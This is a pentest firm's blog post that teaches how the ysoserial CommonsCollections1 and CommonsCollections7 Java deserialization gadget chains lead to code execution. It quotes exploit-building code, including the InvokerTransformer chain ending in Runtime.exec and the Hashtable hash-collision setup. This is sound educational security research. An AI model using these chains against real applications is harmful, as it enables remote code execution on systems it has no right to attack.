Finding gadgets like it's 2015: part 1

Written by Hugo Vincent - 18/10/2021 - in Pentest - Download
We found a new Java gadget chain in the Mojarra library, one of the most used implementation of the JSF specification. It uses a known entry point to start the chain and ends with arbitrary code execution through Java's Expression Language. It was tested on versions 2.3 and 3.0 of the Eclipse implementation of the JSF specification.

Introduction

During a past assessment, we had the opportunity to audit a pretty big Java application. On the last two days of the audit we had a potential lead on an arbitrary object deserialization due to JNDI/LDAP injection. It turns out this was a real vulnerability, even though it was difficult to exploit in practice.
 
When you stumble upon such an issue, you generally hope to get RCE from it. That's what CTFs try to teach you. You fire up ysoserial, find the right gadget to use and profit. But real life is not a CTF and in our case, shooting ysoserial payloads at our target did not lead to any interesting result. Nothing, no connect back, no shell, not even a DNS pingback. Nothing came back to us. Nothing. Nothing, nada, niet, nichts, rien. 沒什麼.
 
In this case, it so happened that we managed to find a suitable way out. Let's see how we managed to analyze and find a gadget in one of the libraries used by the application.
 
In this first part, we'll explain the CommonCollection 1 and 7 gadget chains. This will help understand our new gadget chain in the second part of the series.
 

CommonCollection1

red

 

 
This part gets into details of how Java gadgets are built in general. If you are already familiar with gadgets, you can skip it and wait for the second part of the series.
 
Everybody who has ever dealt with Java deserialization has already used ysoserial:
 
ysoserial is a collection of utilities and property-oriented programming "gadget chains" discovered in common java libraries that can, under the right conditions, exploit Java applications performing unsafe deserialization of objects.
 
For a lot of people, ysoserial is a black box tool, you run it, it does some black magic and might give you a shell. Most of the time you don't get a shell and you don't try to investigate more because it seems so obscure. There is not a lot of documentation12 explaining the different gadget chains of ysoserial so let's try to explain the well-known CommonCollection1 gadget to get a deeper understanding of how a gadget works.
 
By looking at the CommonCollection1.java3 file we can find this:
1)	ObjectInputStream.readObject()
2)		AnnotationInvocationHandler.readObject()
3)			Map(Proxy).entrySet()
4)				AnnotationInvocationHandler.invoke()
5)					LazyMap.get()
6)						ChainedTransformer.transform()
7)							ConstantTransformer.transform()
8)							InvokerTransformer.transform()
9)								Method.invoke()
10)									Class.getMethod()
11)							InvokerTransformer.transform()
12)								Method.invoke()
13)									Runtime.getRuntime()
14)							InvokerTransformer.transform()
15)								Method.invoke()
16)									Runtime.exec()

 

This is the actual gadget chain. It starts with a call to readObject, which is responsible for the deserialization, and ends up with Runtime.exec, which will give arbitrary code execution.
 
When the readObject method is called, the object is deserialized and other methods can be called during that process. By chaining those calls you can eventually get code execution.
 
When we deserialize an object, it's important to remember that we can control every attribute of the class (except those with the transient flag).
 

Getting code execution

To have a better understanding of the chain, let's start by breaking it down from step 5). So imagine we can call the get method of the LazyMap class which is part of the common collection library. What happens next? Here is the code of the get method:
public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

 

If we call get with a key parameter that is not contained in the map, we call the transform method on the factory object. The factory object is an attribute of the LazyMap (thus we control it thanks to the deserialization) and is a Transformer object:

/** The factory to use to construct elements */
    protected final Transformer factory;
 
In the original exploit, the ChainedTransformer class is used. From the documentation, a ChainedTransformer is just a "Transformer implementation that chains the specified transformers together". Calling the transform method of a ChainedTransformer object will call the transform method of each transformer contained in it. Makes sense right?
 
Here is the actual exploit code from ysoserial:
final String[] execArgs = new String[] { command };
		// inert chain for setup
		final Transformer transformerChain = new ChainedTransformer(
			new Transformer[]{ new ConstantTransformer(1) });
		// real chain for after setup
		final Transformer[] transformers = new Transformer[] {
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", new Class[] {
					String.class, Class[].class }, new Object[] {
					"getRuntime", new Class[0] }),
				new InvokerTransformer("invoke", new Class[] {
					Object.class, Object[].class }, new Object[] {
					null, new Object[0] }),
				new InvokerTransformer("exec",
					new Class[] { String.class }, execArgs),
				new ConstantTransformer(1) };

 

The first transformer of the gadget chain is the ConstantTransformer. Its transform method returns a constant which we control due to the deserialization mechanism:

public Object transform(Object input) {
        return iConstant;
    }

 

 In the ysoserial exploit code we can find this:

new ConstantTransformer(Runtime.class),

 

So the transform method will return Runtime.class, do you understand where it's going?

The other transformers used are multiples instances of the InvokerTransformer:
 /**
     * Transforms the input to result by invoking a method on the input.
[...]
     */
    public Object transform(Object input) {
[...]
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);

 

The description of the method is tells us that we can call an arbitrary method on the input. By using the ChainedTransformer, we could iterate this by calling an arbitrary method with arbitrary parameters on the output of the transform method of the previous transformer.

For example, chaining those transformers: 
  1. ConstantTransformer.transform() => Runtime
  2. InvokerTransformer.transform() => getMethod.invoke(Runtime, "getRuntime") == Runtime.getMethod("getRuntime",null)
  3. InvokerTransformer.transform() => invoke.invoke(Runtime.getMethod("getRuntime",null), null) == Runtime.getMethod("getRuntime",null).invoke(null, null)
  4. InvokerTransformer.transform() => exec.invoke(Runtime.getMethod("getRuntime",null).invoke(null, null), args) == Runtime.getMethod("getRuntime",null).invoke(null, null).exec(args)
 
We now understand the last part of the gadget chain. If we can call the get method of a LazyMap we end up with arbitrary code execution.
 

Calling get() on a java Map

Going back to the beginning of the gadget chain:
1)	ObjectInputStream.readObject()
2)		AnnotationInvocationHandler.readObject()
3)			Map(Proxy).entrySet()
4)				AnnotationInvocationHandler.invoke()
5)					LazyMap.get()

 

The AnnotationInvocationHandler class is used. This class is part of the jdk and we can find the following attributes in it

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    private static final long serialVersionUID = 6182022883658399397L;
    private final Class<? extends Annotation> type;
    private final Map<String, Object> memberValues;

 

But what is an InvocationHandler? From the Java documentation we can read:

InvocationHandler is the interface implemented by the invocation handler of a proxy instance.
 
Each proxy instance has an associated invocation handler. When a method is invoked on a proxy instance, the method invocation is encoded and dispatched to the invoke method of its invocation handler.
 
Invocation Handlers are used with java dynamic proxies. When you create a dynamic proxy, you associate the proxy object with an Invocation Handler. When you call a method on the proxy object, it's redirected to the invoke method of the associated Invocation Handler.
 
Here is the readObject method of the AnnotationInvocationHandler class:
private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    s.defaultReadObject();              <== the object AnnotationInvocationHandler is deserialized

    [...]

    Map<String, Class<?>> memberTypes = annotationType.memberTypes();

    // If there are annotation members without values, that
    // situation is handled by the invoke method.
    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {  <== we call entrySet()
        String name = memberValue.getKey();

 

By looking at the gadget chain we go from entrySet() to AnnotationInvocationHandler.invoke(). That seems weird because calling entrySet on a map shouldn't call the invoke method of the AnnotationInvocationHandler class. The trick here is really interesting.

The exploit creates a dynamic proxy object from a LazyMap:
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

 

Without showing too much code, what really happens inside the createMemoitizedProxy function is something like this:

Map mapProxy = (Map) Proxy.newProxyInstance(
    RandomValidClass.class.getClassLoader(), 
    new Class[] { Map.class }, 
    new AnnotationInvocationHandler(lazyMap));

 

A dynamic proxy object is created from the LazyMap with an AnnotationInvocationHandler. The result still is a Map.

So, if we call the entrySet method on our proxy, it will redirect the call to the invoke method of the associated annotation InvocationHandler. We go from Map.entrySet() to AnnotationInvocationHandler.invoke(mapProxy, "entrySet").
 
We can now check the invoke method of the AnnotationInvocationHandler (some checks that we can easily pass have been removed from the extract):
public Object invoke(Object proxy, Method method, Object[] args) {
    String member = method.getName();
    Class<?>[] paramTypes = method.getParameterTypes();

    [...]

    // Handle annotation member accessors
    Object result = memberValues.get(member);

 

 There is a call to the get method on the memberValues attribute, which is a LazyMap that we control, and whose parameter is the name of the method, in our case entrySet. This is exactly what we need to achieve arbitrary code execution, as we saw in the explanation of the last part of the gadget chain.

CommonCollection1 troubleshooting

If you build a dummy application and you use the vulnerable version of the java common collection library (3.2.1), the chain won't work on a recent system. Indeed, the code of the AnnotationInvocationHandler used for the exploit has changed since 2015. You can quickly figure it out by reading the code of the CommonCollection1 gadget until the end:
public static boolean isApplicableJavaVersion() {
        return JavaVersion.isAnnInvHUniversalMethodImpl();
    }
 
public static boolean isAnnInvHUniversalMethodImpl() {
        JavaVersion v = JavaVersion.getLocalVersion();
        return v != null && (v.major < 8 || (v.major == 8 && v.update <= 71));
    }
 
It only works with a version of the JDK less than or equal to 8u71, while the latest version is 8u292. Indeed, in the latest version of the AnnotationInvocationHandler class, the type of our Map is forced to a LinkedHashMap, so we can't use a LazyMap anymore! Unfortunately, most of the ysoserial gadgets don't work anymore with a recent version of the JDK.
 

CommonCollection7 to the rescue

yellow

 

 
So, It's over for CommonCollection1 gadget chain. However, the CommonCollection7 gadget can be used to resolve the problem described in the previous part. During our research, we found this article4. It's written in Chinese, but google does quite a good job at translating it.
 
It explains the different chains used in CommonCollection 5,6,7 and 10. Note that the CommonCollection 8,9 and 10 gadgets chains are not part of the main ysoserial repository but can be found there5.
 
The article  really well explains the CommonCollection76 gadget chain which has been built to overcome the problem with the AnnotationInvocationHandler. The beginning of the chain is different, but in the end it calls get on the LazyMap which gives code execution.
 
The beginning of the chain is:
java.util.Hashtable.readObject
    java.util.Hashtable.reconstitutionPut
        org.apache.commons.collections.map.AbstractMapDecorator.equals
            java.util.AbstractMap.equals
                org.apache.commons.collections.map.LazyMap.get

 

Here, before calling the get method, there are two more calls than in the first version of the chain.

In the code of Hashtable class's read object method, there is a call to reconstitutionPut:
1)  private void readObject(java.io.ObjectInputStream s)
2)          throws IOException, ClassNotFoundException
3)     {
4)         s.defaultReadObject();
     [...]
5)         table = new Entry<?,?>[length];
     [...]
6)         for (; elements > 0; elements--) {
7)                 K key = (K)s.readObject();
8)                 V value = (V)s.readObject();
9)             reconstitutionPut(table, key, value);

         }
     [...]

 

So reconstitutionPut is called for each element of the Map. Here is the code of this method:

a)    private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
b)        throws StreamCorruptedException
      {
      [...]
c)        int hash = key.hashCode();
      [...]
d)        for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
e)            if ((e.hash == hash) && e.key.equals(key)) {
f)                throw new java.io.StreamCorruptedException();
              }
          }
      [...]
 
Let's make an example to understand:
Hashtable hashtable = new Hashtable();
hashtable.put("Key1", "val1");
hashtable.put("Key2", "val2");

 

During deserialization, the table object of the readObject method will be created (line 5). This table plus the key1 key and the val1 value will be passed to reconstitutionPut (line 9). Since the table is empty, the value and key will be added to it (this part is not shown in the code snippet).

 
During the next round, the key2, val2 and table will be passed to reconstitutionPut (line 9). This time we will go inside the for loop (line d) and the hash code of the first key (key1) will be compared to the hash code of the one given in parameter (key2). If they match, a call to the equals method (line e) will be done to check for the equality of the two keys.
 
There is an interesting trick here. Let's imagine for a second that the hash codes of the two keys match and that our first and second keys are in fact LazyMaps. What would happen? This situation would result in calling the equals method of our first LazyMap with the second one as a parameter. Let's once again build an example Map:
[...]
lazyMap1.put("key1", 1);
lazyMap2.put("key2", 1);

Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, "val1");
hashtable.put(lazyMap2, "val2");
 
Since the keys of the Hashtable are LazyMaps, this results in calling equals like this:
lazyMap1.equals(lazyMap2)
 
LazyMaps extends the AbstractMapDecorator which implements the equals method:
public boolean equals(Object object) {
        return object == this ? true : this.map.equals(object);
    }
 
Here, the equals method of the map attribute is called. As a map is an instance of HashMap which does not implement the equals method, the implementation of the parent class,  AbstractMap, is called.
public boolean equals(Object o) {
        if (o == this)
            return true;

        if (!(o instanceof Map))
            return false;

        Map<?,?> m = (Map<?,?>) o;
        if (m.size() != size())
            return false;

        try {
            Iterator<Entry<K,V>> i = entrySet().iterator();
            while (i.hasNext()) {
                Entry<K,V> e = i.next();
                K key = e.getKey();
                V value = e.getValue();
                if (value == null) {
                    if (!(m.get(key)==null && m.containsKey(key)))
                        return false;
                } else {
                    if (!value.equals(m.get(key)))
                        return false;
                }
 
This method iterates over each element of the map. Each time a value is not null for a key in the first map, it is compared with the value of the corresponding key in the second map by calling get on it. Calling get right? We have our code execution here by calling get on a LazyMap:
lazyMap1.get("Key1")
 
We still need to have an hash collision remember? The hash codes of our two LazyMaps need to be the same. Java uses a weak hash function to compute the hash code of an object. This chain takes advantage of a very simple collision:
String a = "yy";
String b = "zZ";

a.hashCode() == b.hashCode() // this is True
 
Note that the keys need to be different because we are using a HashTable.
 
In the end, the CommonCollection7 gadget chain looks like this:
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();

// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);

Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();

// Use the colliding Maps as keys in Hashtable
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);

// Needed to ensure hash collision after previous manipulations
innerMap2.remove("yy");

return hashtable;
 

Conclusion

If you are already familiar with Java gadgets you probably have not learned much today. However, if this mechanism was not crystal clear for you, you should now be able to understand the second part of this post. In the next part, we'll dive into the new gadget chain that we found in Mojarra, we'll describe how we found it and the different problems that we had to face in order to get a valid chain.